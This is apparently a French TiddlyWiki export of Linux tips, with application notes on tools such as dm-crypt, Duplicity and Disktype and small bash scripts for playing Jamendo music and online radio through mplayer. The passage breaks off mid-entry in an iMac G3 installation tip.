// @Deprecated: Use store.getLoader().internalizeTiddler instead
Tiddler.prototype.loadFromDiv = function(divRef,title)
{
	return store.getLoader().internalizeTiddler(store,this,title,divRef);
};

// Format the text for storage in an HTML DIV
// @Deprecated Use store.getSaver().externalizeTiddler instead.
Tiddler.prototype.saveToDiv = function()
{
	return store.getSaver().externalizeTiddler(store,this);
};

// @Deprecated: Use store.allTiddlersAsHtml() instead
function allTiddlersAsHtml()
{
	return store.allTiddlersAsHtml();
}

// @Deprecated: Use refreshPageTemplate instead
function applyPageTemplate(title)
{
	refreshPageTemplate(title);
}

// @Deprecated: Use story.displayTiddlers instead
function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
{
	story.displayTiddlers(srcElement,titles,template,animate);
}

// @Deprecated: Use story.displayTiddler instead
function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
{
	story.displayTiddler(srcElement,title,template,animate);
}

// @Deprecated: Use functions on right hand side directly instead
var createTiddlerPopup = Popup.create;
var scrollToTiddlerPopup = Popup.show;
var hideTiddlerPopup = Popup.remove;

// @Deprecated: Use right hand side directly instead
var regexpBackSlashEn = new RegExp("\\\\n","mg");
var regexpBackSlash = new RegExp("\\\\","mg");
var regexpBackSlashEss = new RegExp("\\\\s","mg");
var regexpNewLine = new RegExp("\n","mg");
var regexpCarriageReturn = new RegExp("\r","mg");

}
//}}}
Astuce: ''Désactiver le protocole Ipv6''
Mots clef: Internet
Os: Ubuntu
<<<
Ipv6 (Internet protocol version 6) est le successeur du protocole Ipv4,  mis en place pour palier au manque d'adresse Internet. Cependant ce protocole est encore loin d'être généralisé (en fait Ipv4 est encore utilisé presque exclusivement sur Internet). Son utilisation peut, parfois, provoqué un ralentissement de l'accès Internet sur votre machine. Ainsi ce service peut-être désactivé sur cette dernière:
* Pour Firefox (et Thunderbird)
Après avoir ouvert la page about:config, rechercher ipv6, ensuite mettre la valeur de //network.dns.disableIPv6// sur "true".
* Dans Ubuntu
Dans le fichier ///etc/modprobe.d/aliases//, dé-commenter la suivante:
{{{
alias net-pf-10 off # IPv6
}}}
Puis mettre à jour avec 
{{{# update-modules}}}

Astuce: ''Désactiver le touchpad''
Mots clef: Pavé numérique
Os: Linux
<<<
Pour la désactivation du touchpad:
{{{
$ sudo rmmod psmouse
}}}
Pour réactiver:
{{{
$ sudo modprobe psmouse
}}}
''Note: ''Il se peut que certaines fonctions ne soient provisoirement plus actives après la réactivation.
''Nom de l'application'': ''@@color(red): Desktop Data Manager @@''
Mots clef: presse-papier, copier/coller
Liens: [[site officiel| ]]
<<<
''Description: ''Tout comme Glipper (mais en plus stable), Desktop Data Manager est un presse-papier amélioré. Il permet un historique des copies et la copie d'images et la prise de copies d'écran.

''Installation: ''.deb disponible [[ici|http://sourceforge.net/project/showfiles.php?group_id=182158]]

''Utilisation: ''raccourci: {{{ctrl-alt-V}}} pour accéder à l'historique et {{{ctrl-alt-S}}} pour faire une copie d'écran

''Notes: ''pour quelque chose d'encore plus complet pour, par exemples, la prise de note, voir BasKet
''Nom de l'application'': ''@@color(red): Dia @@''
Mots clef: schémas, diagramme (de flux)
Liens: [[site officiel| http://koffice.kde.org/kivio/ ]]
<<<
''Description: ''Logiciel de création de schémas et de diagramme semblable à KiVio.

''Installation: ''{{{# aptitude install dia}}}
''Nom de l'application'': ''@@color(red): digikam @@''
Mots clef: Image
<<<
''Description: ''logiciel de gestion et de classements de photos.

''Installation: ''{{{# aptitude install digikam}}}

''Notes: ''bonne alternative à PicasaLinux, propose également le classement chronologique.
''Nom de l'application'': ''@@color(red): Disktype @@''
Mots clef: hardware, disque,
<<<
''Description: ''Permet de connaître le type d'un disque ou d'une image disque. 

''Installation: ''{{{# aptitude install disktype}}}

''Utilisation: ''
Analyzing a CD Image:
{{{
# disktype image.iso
}}}
Analyzing the first IDE hard disk:
{{{
# disktype /dev/hda
}}}
Analyzing a CD or DVE
{{{
# disktype /dev/cdrom
}}}
Exemples:
{{{
# disktype /dev/hda1

--- /dev/hda1
Block device, size 15.20 GiB (16318923264 bytes)
Windows NTLDR boot loader
NTFS file system
  Volume size 15.20 GiB (16318922752 bytes, 31872896 sectors)
}}}
''Note: ''voir aussi HardInfo et CommandesInformationsMateriel
''Nom de l'application'': ''@@color(red): dm-crypt @@''
Mots clef: sécurité, chiffrement
Liens: [[source| http://doc.ubuntu-fr.org/securite/cryptsetup ]], [[plus d'info|hhttps://help.ubuntu.com/community/EncryptedFilesystemHowto]], [[autre|http://nawer.freecontrib.org/index.php?2006/10/05/215-crypter-un-dossier-simplement]], [[Tuto Très Complet|http://theglu.tuxfamily.org/index.php/post/2007/05/19/Cryptsetup-le-couteau-suisse-du-chiffrement-de-partitions]]
<<<
''Description: ''dm-crypt est le module cryptographique des "device-Mappers" de linux. Il permet de créer et d'utiliser de manière transparante un volume (disque, partition ou fichier) crypté. Il est disponible par défaut à partir du noyau 2.6.4. Il existe aussi une interface graphique du nom de cryptomaster. De même qu'une méthode simplifiée avec FuseEncfs. 


''Installation: ''Disponible par défaut pour ubuntu dapper, il peut être installé sinon via {{{apt-get install cryptsetup}}}

''Utilisation: ''
Voir également TrueCrypt et CrypterClefusb, pour l'utilisation avec un disque usb.

1) Utilisation sur une partition existante (libre, car les données déjà existantes seront effacées):
Il peut s'agir par exemple de la partion contenant le répertoire /home.
{{{
$ sudo cryptsetup luksFormat -c aes -h sha256 /dev/hda7
}}}
Cette instruction va permettre de formater la partition au type luks, avec un chiffrage de type AES et un algorithme de hachage sha256. Une phrase de chiffrage vous sera ensuite demandée, afin d'initialiser le conteneur.
L'on peut ensuite ouvrir et formater la partion à l'aide des instructions suivantes:
{{{
$ sudo cryptsetup luksOpen /dev/hda7 home
$ sudo mkfs.ext3 /dev/mapper/home 
}}}
Puis monter la partition
{{{
$  sudo mount -t ext3 /dev/mapper/home /mnt/ 
}}}
Et finalement la démonter et la fermer
{{{
$ sudo umount /mnt
$ sudo cryptsetup luksClose home 
}}}

2) Montage automatique d'une partition cryptée (pour ubuntu dapper)
Exemple donné ici pour le montage du dossier chiffré ///home//. 

Il suffit d'éditer le fichier ////etc/crypttab/ de la manière suivante:
{{{
 # <target name> <source device>         <key file>      <options>
home /dev/hda7  none    luks 
}}}
Et d'ajouter dans ///etc/fstab//:
{{{
# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
/dev/mapper/home        /home   ext3    defaults        0       1 
}}}
Puis, au démarrage de la machine, la phrase de chiffrage vous sera demandée.

3) Utilisation à partir d'un "fichier conteneur"
L'on peut également définir un espace de stockage crypté (dans un unique fichier de taille défini) qui sera alors utilisé comme un volume que l'on pourra monter, de la même manière qu'une partition.
Tout d'abord, l'on va créer un fichier nommé, par exemple, crypto, d'une taille de 50 Mo:
{{{
$ dd if=/dev/zero bs=1M count=50 of=crypto
}}}
Maintenant l'on va attribuer une "périphérie loopback" à ce fichier:
{{{
$ sudo losetup /dev/loop0  crypto
}}}
si loop0 est déjà occupé, il faut alors choisir  loop1, etc.
Ensuite, de la même manière que pour 1), l'on peut créer un système de fichier chiffré et le monter, par exempe en ///mnt/crypto/// et l'utiliser de manière transparente comme volume de stockage chiffré ( c'est pas beau ça? ).
Pour un montage automatique au démarrage, rajouter la ligne suivante au fichier ///etc/fstab//:
{{{
crypto /mnt/crypto ext3 noauto,user,exec 0 0
}}}
Pour déconnecter le volume fichier:
{{{
$ sudo losetup -d /dev/loop0
}}}
<<<
<<<
En français
*''Collection de Liens''
[[linuxanjou|http://linuxanjou.free.fr/lien.html]] date un peu, beaucoup (2001), mais propose beaucoup de liens que je ne vais pas ré-écrire mais qui valent la peine.
*''Divers''
[[X10 et linux|http://lea-linux.org/cached/index/Le_X10_et_Linux.html]] introduction à la domotique sous linux 
<<<

<<<
En anglais (source [[A collection of links par bapoumba|http://bapoumba.wordpress.com/2007/09/26/a-collection-of-links-to-linux-commands-and-scripts-tutorials-for-beginners/]])
*''Commandes Console''
[[commandes Linux||http://linux.die.net/">linux.die.net]] et les [[pages man|http://linux.die.net/man/]]
[[Tuto Unix|http://workshop.molecularevolution.org/resources/computing.php]]
[[Commandes Linux|http://linuxcommand.org/]]
[[Linux CLI|http://www.tuxfiles.org/linuxhelp/cli.html]]
[[Linux Cookbook|http://www.dsl.org/cookbook/cookbook_toc.html]]
[[Liste alphabétique de commades|http://www.linuxdevcenter.com/linux/cmd/]] de //O’Reilly’s Linux in a Nutshell//
*''Scripts Bash''
[[index des commandes bash|http://www.ss64.com/bash]]
[[Écriture de scripts bash|http://linuxcommand.org/writing_shell_scripts.php]]
[[Script bash pour débutant|http://tille.garrels.be/training/bash/">Bash Guide for Beginners</a><br>]]
[[Tuto Scripts Shell|http://www.freeos.com/guides/lsst/]]
[[Resource pour scripts Unix|http://www.shelldorado.com/links]]
[[Bourne Shell Programming|http://sayle.net/book]]
''Nom de l'application'': ''@@color(red): dotProject @@''
Mots clef: 
Liens: [[site officiel|http://www.dotproject.net/ ]], [[description Framasofthttp://www.framasoft.net/article3577.html]]
<<<
''Description: ''Dotproject, développé en PHP et utilisant une base de données MySQL, permet un véritable suivi de projets de manière collaborative grâce à son interface Web et sa gestion des acteurs (clients, fournisseurs, sous-traitants, ...). [source:[[Framasofthttp://www.framasoft.net/article3577.html]]

''Installation: ''Application en ligne à installer sur un serveur.

''Notes: ''Voir également PlanneR.
''Nom de l'application'': ''@@color(red): Dropbox @@''
Mots clef: stockage, partage
Liens: [[site officiel| https://www.getdropbox.com ]]
<<<
''Description: ''Dropbox est un logiciel multi-plateforme permettant un partage sécurisé de fichiers en ligne dont la principale force est la simplicité d'utilisation (2 GB sont à disposition).

''Installation: ''télechargement d'un .deb sur le [[site officiel| https://www.getdropbox.com ]].

''Utilisation: ''Il suffit d'installer le .deb, de créer un compte et de redémarrer nautilus ({{{$ killall nautilus}}}).
Il est également possible, pour tout fichier partagé dans le dossier Public, d'obtenir un lien public vers le dit fichier (clic droit --> Dropbox --> copy public link).

''Notes: ''Bien que très pratique et sécurisé, ce programme n'est pas complètement sous licence GPL. A utiliser donc avec modération et seulement pour des données "non sensibles".
Astuce: ''Installation de Damn Small Linux sur un ordinateur Compaq Armada 1700''
Mots clef: OS, dsl
Os: Damn Small Linux
<<<
Pour avoir, dans l'ordre, le clavier suisse, le son 
et le montage du DD externe.

Dans /opt/bootlocal.sh
{{{
#!/bin/bash 
# put other system startup command here 
/sbin/syslogd loadkeys fr_CH-latin1 
sudo modprobe sb io=0x220 irq=5 dma=1 mpu_io=0x330 
sudo mount -t vfat -o uid=dsl /dev/sda1 /mnt/usb
}}}
<<<
''Nom de l'application'': ''@@color(red): Duplicity @@''
Mots clef: réseau, synchronication, chiffrement, sauvegarde.
Liens: [[source| http://debaday.debian.net/2007/09/09/duplicity-encrypted-bandwidth-efficient-backup-using-the-rsync-algorithm/ ]]
<<<
''Description: ''Duplicity est un logiciel de synchronisation de fichiers basé sur l'algorithme de RSync permettant en plus le chiffrement des données.

''Installation: ''{{{# aptitude install duplicity}}}

''Utilisation: ''
*Pour une sauvegarde distante:
{{{
$ duplicity repertoireASauverarde scp://user@monServer/saves
}}}
*Pour une sauvegarde locale:
{{{
$ duplicity repertoireASauverarde file:///monRepertoireDeSauvegarde/saves
}}}
Si l'on ne désire pas chiffrer la sauvegarde, il faut ajouter l'option {{{--no-encryption}}}
*Pour la restauration, il suffit d'intervertir les deux répertoires, c'est-à-dire:
{{{
$ duplicity file:///monRepertoireDeSauvegarde/saves repertoireASauverarde
}}}

''Notes: ''
- Pour plus d'informations quant aux options, voir [[ici|http://www.nongnu.org/duplicity/duplicity.1.html]].
- Pour un tuto assez complet niveau sécurité (par clefs de chiffrement), voir [[ici|http://www.linuxjournal.com/article/9174]]
- Le répertoire de sauvegarde doit exister au préalable.
- Il semble que Duplicity ne prenne pas en charge les liens "en dur".
- Une alternative et dar avec kdar qui, parait-il, est puissant et permet des sauvegardes incrémentielles. Plus d'info [[ici|http://doc.ubuntu-fr.org/dar]]
''Nom de l'application'': ''@@color(red): Dvdrip @@''
Mots clef: multimedia, encodage dvd
<<<
''Description: ''Logiciel d'encodage dvd, interface graphique en perl de transcode. Efficace et paramètrable à souhait.

''Installation: ''
{{{
# apt-get install dvdrip vcdimager cdrdao subtitleripper
# ln -fs /usr/bin/rar /usr/bin/rar-2.80
}}}
et à ne pas oublier, en cas de dvd protégé:
{{{
# aptitude install libdvdcss2
}}}
''Notes: ''Voir aussi AcidRip
''Nom de l'application'': ''@@color(red): Dvd-slideshow @@''
Mots clef: création, dvd, multimédia, diaporamas
Liens: [[source|http://doc.ubuntu-fr.org/mandvd ]], [[site officiel|http://sourceforge.net/projects/dvd-slideshow/ ]]
<<<
''Description: ''Dvd-slideshow est un ensemble de lignes de commandes permettant la création de diaporamas à partir d'un groupe d'images.

''Installation: ''Pour plus d'information, voir la [[source|http://doc.ubuntu-fr.org/mandvd ]]
{{{# aptitude install mencoder mplayer mkisofs totem-xine lame dvdauthor mjpegtools netpbm imagemagick transcode dvd+rw-tools libqt3-mt}}}
Puis installer le fichier .deb depuis le [[site officiel|http://sourceforge.net/projects/dvd-slideshow/ ]].

''Notes: ''Pour ensuite réaliser le diaporama-dvd sans passer par la ligne de commande, voir ManDvd
Astuce: ''Permet d'effacer un fichier de manière sécurisée''
Mots clef: fichiers
Os:Linux
<<<
{{{$ shred -n 35 -z -u nomdufichier}}}
Ceci a pour effet de :
- remplacer 35 fois les données du fichier par des déchets (-n 35)
- puis remplacer ces données par des zéros (-z) pour masquer le déchiquettage
- puis tronquer et supprimer le fichier (-u)
<<<
''Nom de l'application'': ''@@color(red): Easytag @@''
Mots clef: tags, mp3
Liens: [[site officiel|http://easytag.sourceforge.net/ ]]
<<<
''Description: ''Easytag est un logiciel qui permet l'édition des tags (metadata) des fichiers audios. L'édition des tags concerne les fichiers: mp3, mp2, flac, ogg, musepack et Monkey's Audio (APE).

''Installation: ''{{{# aptitude install easytag}}}

''Notes: ''Il permet également de renommer une série de mp3 en fonction des tags (ex: artiste - titre.mp3). Voir aussi PuddleTag.
Pour un logiciel en ligne de commande, voir Id3Ed et TagMP3MiseAJour.
''Nom de l'application'': ''@@color(red): Eclipse @@''
Mots clef: Programmation java
Liens: [[site officiel| http://www.eclipse.org/ ]], [[Eclipse et phpeclipse sous Kubuntu| http://www.destination-linux.org/article64.html ]]
<<<
''Description:'' Platforme de programmation java, tournant sous java

''Installation:'' 
{{{
apt-get install eclipse-platform
}}}
''Notes:'' Existe aussi pour windows.
//Accélérer Eclipse://
Comme Ubuntu se veut totalement libre il était nécéssaire d'utiliser une JVM (machine virtuelle ...) libre, puisque celle de sun est proprio ... Ils utilisent donc GCJ qui est absolument une initiative géniale, si on considère qu'on a pas besoin d'une productivité a toutes épreuves ...
En fait, il suffit de changer de jdk (après avoir installé celle de sun):
{{{
sudo update-alternatives --config java
}}}
<<<
But: ''Petit script permettant d'écouter une sélection de musique libre du site Jamendo.com''
Mots clef: musique, bash
Liens: [[jamendo.com | http://www.jamendo.com/fr ]]
<<<
''Notes: ''Voir aussi JamendoMusiqueLibreRhythmbox 

''Utilisation: ''voir paramètre optionnels, par exemples
{{{$ ./jam.sh -g jazz -p}}}
ou
{{{$ ./jam.sh -a "Marcel Prout" -P amarok}}}

''Script: '' 
{{{
#! /bin/bash

#*************************************************************************#
# Petit script permettant de récupérer une liste de lecture m3u à partir
# du site jamendo.com sur la base du mot clé entré en paramètre. 
# La recherche dépend des paramètres entrés
# Utilisation: ./jam.sh [option]
# 
# Option:
# 	-g <genre> 	recherche par tags qui correspondent en général au  
#			genre musical
# 	-a <artiste>	recherche par nom d'artiste ou d'album. Pour les noms
#			composé, utiliser des " " (par ex.: -a "nom1 nom2")
#
#	-s 		dernières sorties avec classement par popularité
#
#	-p 		forcer le classement par popularité (aléatoire par défaut)
#
#	-n		Nombre de titres
#
#	-m		forcer la lecture en format .mp3 au lieu de .ogg
#
#	-P		permet de changer le lecteur utilisé 
#			(par ex.: -P amarok ou -P "mplayer -playlist"	
#
# Nécessite l'installation de curl
#
#**************************@Bartux2007************************************#


#**************************debut du script********************************#

#adresse de curl
EXEC="/usr/bin/curl -s"

# Valeurs par défaut
#URL de base
BASE="http://www.jamendo.com/get/track/"
# recherche
TYPE="list/tag/audio/m3u/?names="
# classement
CLASS="&o=random"
#Nombre de titres choisis
NOMB="&n=50" 
# extension musicale
EXT="&aue=ogg1" 
#player utilisé
PLAYER="xmms"

#Traitement des paramètres
while getopts a:g:spmn:P: option
do
	case $option in
  		a)
			TYPE="search/track-album-artist/audio/m3u/"`echo "$OPTARG" | sed 's/ /\%20/g'`"/?"
			CLASS=""
   		;;
  		g)
			TYPE="list/tag/audio/m3u/?names="$OPTARG
   		;;
  		s)
   			TYPE="list/album/audio/m3u/?"
			CLASS="o=release_date_desc%20track_no_asc"
   		;;
  		p)
  			CLASS="&o=rating_desc"
	   	;;
		m)
   			EXT="&aue=mp31"
 		;;
		n)
   			NOMB="&n="$OPTARG
		;;
		P)
   			PLAYER=$OPTARG
		;;
		*)
   			echo "paramètre invalide"
			exit 0
		;;
	esac	
done
if (( $OPTIND < 2 ))
then
	TYPE="list/tag/audio/m3u/?names="$1
fi

#Création de l'url de recherche
URL=$BASE$TYPE$CLASS$NOMB$EXT

#Créaction et chargement de la liste de lecture
cd /home/bart/Scripts/jamendo
$EXEC $URL > playjam.m3u
if (( `wc -l playjam.m3u | awk '{print $1}'` > 1 ))
then
	$PLAYER /home/bart/Scripts/jamendo/playjam.m3u &
else
	echo "Désolé, aucun morceau n'a été trouvé pour le mot recherché."
fi

#**************************fin du script**********************************
}}}

''Note: ''Exemples de tags:
{{{
acoustic alternative ambiance ambient atmospheric bass 
chanson chansonfrancaise cool dance dark dub electronica 
experimental folk french funk fusion guitar hardcore hiphop 
house humour indie industrial instrumental jazz lounge 
melancolic melodique metal newage noise piano pop poprock 
progressive punk rap reggae rock sensible sombre soundtrack 
techno trance triphop voix world 
}}}
But: ''Script permettant d'écouter une multitude de radio française en ligne de commande''
Mots clef: multimedia, Internet, radios, streaming
Liens: [[artcile source|http://www.greguti.com/petitlinux/index.php?entry=entry070130-074006 ]], [[le script|http://ludomatic.fr/index.php/dlm/1]]
<<<
''Notes: ''Nécessite mplayer
''Script: '' 
{{{
#!/bin/bash


# SCRIPT radios.sh
# Utilisation: "./radios.sh [adresse directe du flux radio]"
# Script proposant d'écouter des stations radio via mplayer
# Travail original de Jotenakis, sublimé par Leonux, resublimé par Ludomatic et hacké par Zarer


#------------------------------------------------------------------------------#
# Initialisation des variables "utilisateur"                                   #
#------------------------------------------------------------------------------#

SCRIPT_VERSION="0.6c";
SCRIPT_HISTORY="
0.6c  (2007-01-29) Ludomatic <ludomatic@leonux.net>
      Correction de l'adresse du flux OuiFM (merci à Mail1)
      Ajout des stations RTL2 et W3 Blues Radio sur proposition de F. Adeux

0.6b- Ludomatic <ludomatic@leonux.net> (22/11/2006)
      Correction d'un bug concernant le fond d'écran uni (merci à Léonux et Eupythal)
      Ajout de la fonction 'PlusBlancQueBlanc()' qui nettoie tout à la fermeture

0.6 - Ludomatic <ludomatic@leonux.net> (21/11/2006)
      Merci à Eupythal pour l'ajout des stations RTL et OuiFM, et ses idées mises en pratique :
      > Suppression des messages mplayer lors de la lecture
      > Rester dans une 'boucle' pour proposer continuellement les stations

0.5 - Ludomatic <ludomatic@leonux.net> (19/11/2006)
      Débugage des affichages colorés,
      Optimisation de quelques parties du code,
      Nettoyage du code.

0.4 - Zarer <????@gmail.com>
      Tests et ajout de stations radio

0.3 - Ludomatic <ludomatic@leonux.net>
      Quelques mises en Fonctions et création de Variables grace aux documents suivants :
      > http://www.c-sait.net/cours/scripts.php
      > http://www.linuxcommand.org/wss0120.php
      > http://www.arachnoid.com/linux/shell_programming.html

0.2 - Leonux <leonux@leonux.net>
      Refonte du script et publication sur le \"Guide de survie de l'ubuntiste débutant\".

0.1 - Jotenakis
      Idée et script original pour Suse Linux.
";


#------------------------------------------------------------------------------#
# Initialisation des variables "internes"                                      #
#------------------------------------------------------------------------------#

SCRIPT_NAME=$( basename $0 ); # nom du script courant
MPLAYER_PATH=$( which mplayer ); # emplacement de l'exécutable mplayer
MPLAYER="$MPLAYER_PATH -msglevel all=-1 "; # paramètres à fournir à mplayer
URL=""; # adresse du flux radio, vide par défaut pour choisir dans la liste prédéfinie


#------------------------------------------------------------------------------#
# Tests et paramètres initiaux                                                 #
#------------------------------------------------------------------------------#

if [ -z "$MPLAYER_PATH" ]
then
    # MPlayer n'est pas installé ou ne peux pas être trouvé : on sort
    echo "Vous devez installer le lecteur \"mplayer\" avant de continuer. \n";
    exit 1;
fi

if [ -n "$1" ]
then
    # l'utilisateur a envoyé un paramètre, si il n'est pas reconnu comme une des options alors le considérer comme une adresse à ouvrir ("./radios.sh url_du_flux")
    case "$1" in
    --help|-h ) # option d'aide
      echo "Usage: $SCRIPT_NAME [url du flux radio]";
      echo "Ce script permet d'écouter des radios en ligne en ne vous servant que de votre console. MPlayer sera exécuté en tâche de fond.";
      echo "La dernière version est disponible depuis le site http://leonux.net "
      echo "Tapez $SCRIPT_NAME --version pour obtenir la version courante et l'historique.";
      exit 1;
    ;;
    --version|-v ) # option de version
      echo "$SCRIPT_NAME version $SCRIPT_VERSION :";
      echo "$SCRIPT_HISTORY";
      echo "Tapez $SCRIPT_NAME --help pour obtenir l'aide complète.";
      exit 1;
    ;;
    * ) # pas une option, considérer comme une url de flux radio et passer à la suite
      URL=$1
    ;;
    esac
fi


#------------------------------------------------------------------------------#
# Déclaration des Fonctions                                                    #
#------------------------------------------------------------------------------#

MrPropre () {
# cette fonction permet de ré-initialiser les couleurs du terminal
    tput sgr0 # supprime les couleurs
}
PlusBlancQueBlanc () {
# cette fonction nettoie tout le terminal
    MrPropre;
    clear;
    #echo "Merci et à bientôt!";
}
trap "PlusBlancQueBlanc" 0; # commande qui exécute la fonction 'PlusBlancQueBlanc()' lors de la sortie du programme (réception du signal '0')

AfficheStations () {
# cette fonction permet d'afficher la liste des stations
    echo -e '\E[36;40m'; # hop, on change de couleur
    cat << EOF
    1)  Europe 1
    2)  France Culture
    3)  France Info
    4)  France Inter
    5)  Fip
    6)  France Musiques
    7)  Le Mouv
    8)  Nostalgie
    9)  NRJ
    10) Rires et Chansons
    11) RFM
    12) Europe 2
    13) Divergence-fm La radio Libre
    14) RMC
    15) NRJ Nouvelle-Calédonie
    16) RRB Nouvelle-Calédonie
    17) Radio Pi Canal Reggae
    18) Radio Pi Années 70
    19) Radio France Internationale
    20) Radio Canada Internationale
    21) Une petite radio associative de Saint Malo, Sing Sing
    22) Old School, SoulsVilleOnline.com
    23) RTL
    24) OuiFM
    25) W3 Blues Radio
    26) RTL2
EOF
    MrPropre; # supprime les couleurs
}


#------------------------------------------------------------------------------#
# Affichage de la liste et lecture du choix si une URL n'est pas fournie       #
#------------------------------------------------------------------------------#

until [ 1 -eq 2 ]; do # on boucle (oui, c'est pas terrible comme test!)

    echo -e '\E[37;40m'; # on change de couleur et on efface l'écran pour uniformiser le fond (merci à Leonux pour le screenshot ;)
    clear;
    echo "Bienvenue sur $SCRIPT_NAME (v$SCRIPT_VERSION), le lecteur de stations radio sur internet via mplayer.";
    echo "Faites votre choix, \"q\" pour quitter à tout moment :";
    AfficheStations; # on affiche la liste des stations

    echo -e '\E[33;40m'; # on change à nouveau de couleur pour demander d'entrer un choix
    echo -en '\nQuelle radio écouter [defaut : 13] ?> ';
    read NUMSTATION; # on enregistre le choix saisi
    MrPropre; # supprime les couleurs

    if [ -z "$NUMSTATION" ]
    then
        NUMSTATION="13"; # le choix par défaut est appliqué si la réponse est vide
    fi

    case $NUMSTATION in # on met à jour la variable $URL si le choix correspond à une station dans la liste (ou on quitte à la lettre "q")
        "1"  ) URL="mms://vip8.yacast.fr/encodereurope1" ;;
        "2"  ) URL="http://viphttp.yacast.net/V4/radiofrance/franceculture_bd.m3u" ;;
        "3"  ) URL="http://viphttp.yacast.net/V4/radiofrance/franceinfo_bd.m3u" ;;
        "4"  ) URL="http://viphttp.yacast.net/V4/radiofrance/franceinter_bd.m3u" ;;
        "5"  ) URL="http://viphttp.yacast.net/V4/radiofrance/fip_bd.m3u" ;;
        "6"  ) URL="http://viphttp.yacast.net/V4/radiofrance/francemusique_bd.m3u" ;;
        "7"  ) URL="http://viphttp.yacast.net/V4/radiofrance/lemouv_bd.m3u" ;;
        "8"  ) URL="mms://vip1.yacast.fr/encodernostalgie" ;;
        "9"  ) URL="mms://vip1.yacast.fr/encodernrj" ;;
        "10" ) URL="mmst://vip1.yacast.fr/encoderrireetchansons" ;;
        "11" ) URL="mms://viptvr.yacast.fr/tvr_rfm" ;;
        "12" ) URL="mms://viptvr.yacast.fr/tvr_europe2" ;;
        "13" ) URL="http://b6.be:8000/dfm128.ogg"  ;;
        "14" ) URL="http://213.205.96.91:9000" ;;
        "15" ) URL="http://radio.lagoon.nc/nrj" ;;
        "16" ) URL="http://radio.lagoon.nc/rrb" ;;
        "17" ) URL="http://www.radiopi.org/RadioPi_playliste.m3u" ;;
        "18" ) URL="http://radiopi.org:8080/That70Sound.ogg" ;;
        "19" ) URL="rtsp://a1251.l663344176.c6633.e.lr.akamaistream.net/live/D/1251/6633/v0001/reflector:44176" ;;
        "20" ) URL="http://ms.radio-canada.ca/liveam" ;;
        "21" ) URL="http://ns51.ovh.net:8000/singsing128" ;;
        "22" ) URL="http://www.live365.com/play/18244" ;;
        "23" ) URL="http://streaming.radio.rtl.fr/rtl-1-44-96" ;;
        "24" ) URL="http://broadcast.infomaniak.net:80/ouifm-high.mp3" ;;
	"25" ) URL="http://88.191.26.244:8000/live" ;;
	"26" ) URL="http://streaming.radio.funradio.fr/rtl2-1-44-96" ;;

        "q"|"Q" ) break ;; # l'utilisateur a demander de sortir
        *       ) echo "Veuillez choisir un numéro valide dans la liste (laisser vide pour la radio par défaut)" # tous les autres choix sont invalides!
    esac

    if [ -n "$URL" ]; then
        echo -e '\E[37;40m'; # oui, on aime les couleurs par ici :)
        echo -e "Ouverture du flux de la station radio depuis $URL,\nappuyez sur \"q\" pour interrompre la lecture\npatientez, chargement en cours...\n\n";
        # bon, si on arrive à cette ligne c'est que mplayer est installé et que nous disposons d'une adresse considérée comme valide : on le lit ce flux?
        $MPLAYER $URL 1>/dev/null 2>/dev/null
        MrPropre; # supprime les couleurs
    fi

done

exit $?; # On quitte avec le code de sortie de la dernière comande (mplayer). That's all folks!
}}}
 
But: ''Petit script basique permettant d'écouter les chaînes de la radio suisse romande''
Mots clef: multimedia, Internet, Radios, rsr, Streaming
Liens: [[adresses de flux|http://www1.rsr.ch/rsr/aide/flux-direct.aspx ]]
<<<
''Notes: ''voir aussi EcouterRadioFr et EnregistrerFluxAudioMplayer pour enregistrer
''Script: '' 
{{{
#!/bin/bash

#*************************************************************************#
#Permet d'écouter les quatre chaînes radio de la Suisse Romande
#
#Un menu permet le choix parmi les chaîne disponible
#Pour un usage rapide, on peut passer le num. de la chaîne en paramètre
#exemple: ./radio.sh 3
#
#Nécessite mplayer
#****************************@Bartux2007**********************************#

#**************************Liste des Radios********************************

#Le nom des radios ne doit pas comporter d'espace
Radio[1]="LaPremière"
Adresse[1]="http://broadcast.infomaniak.ch/rsr-la1ere-high.mp3.pls"
Radio[2]="Espace2"
Adresse[2]="http://broadcast.infomaniak.ch/rsr-espace2-high.mp3.pls"
Radio[3]="Couleur3"
Adresse[3]="http://broadcast.infomaniak.ch/rsr-couleur3-high.mp3.pls"
Radio[4]="OptionMusique"
Adresse[4]="http://broadcast.infomaniak.ch/rsr-optionmusique-high.mp3.pls"

#**************************Fin de la Listes********************************

#**************************debut du script*********************************

if  test -z "$1" ;
then
	echo ""
	echo "Quelle radio voulez-vous écouter ? "
	echo ""
	
	PS3="Votre choix (q pour quitter): "
      	select canal in `for i in ${Radio[*]}; do echo "${i}"; done`
	do
        	case $REPLY in
           		[1-`echo $((${#Radio[*]}))`]) choix=$REPLY 
			break;;
           		q) echo "A Bientôt ..." 
			exit 0 ;;
           		*) echo "Choix invalide"  ;;
        	esac
	done
else
	choix=$1
fi

if (( $choix < $(( ${#Radio[*]} +1 )) && $choix > 0 ))
then
	mplayer ${Adresse[$choix]}
else
	echo "Paramètre invalide"
fi

#**************************fin du script**********************************
}}}
Astuce: ''Installation de edubuntu edgy 6.10 sur un ordinateur imac G3''
Mots clef: mac, os 
Os: edubuntu
Liens: [[source| http://forum.macbidouille.com/index.php?showtopic=180869 ]]
<<<
''Installation''
1. Insérer le CD, et démarrer l'iMac en appuyant sur la touche "c".
2. A l'invite "boot:", taper "Entrée" (touche "retour") ou "live" (c'est la même chose)
3. Le logo Edbuntu apparaît et la configuration automatique s'effectue. 
4. L'écran devient noir.
5. Après quelques minutes, la musique Ubuntu retentit, et on entend l'ordinateur tourner sans cesse (toujours dans le noir absolu).
6. Ensuite pour passer en mode console: combinaison des touches "~Ctrl-Alt-F1". Attention, le clavier est en QWERTY (on peut tâtonner et effacer ses erreurs sans aucun problème).
7. On entre l'instruction suivante : {{{sudo sed -i s/28-51/60-60/ /etc/X11/xorg.conf}}}
8. Puis : {{{sudo sed -i s/43-60/75-117/ /etc/X11/xorg.conf}}}
9. On quitte (combinaison des touches "~Ctrl-Alt-F7") : l'écran devient noir.
11. On "tue" le serveur X avec "~Ctrl-Alt-Effacer".
12. On peut ensuite accéder au login gdm et commencer l'installation

''Émuler les boutons 2 & 3 d'une souris''
Ajouter dans /etc/sysctl.conf les lignes suivantes :
{{{
# Simuler les boutons 2 et 3 d'une souris :
dev/mac_hid/mouse_button_emulation = 1
# Par défaut, fn + ctrl = clic milieu, fn + alt = clic droit,
# c'est-à-dire :
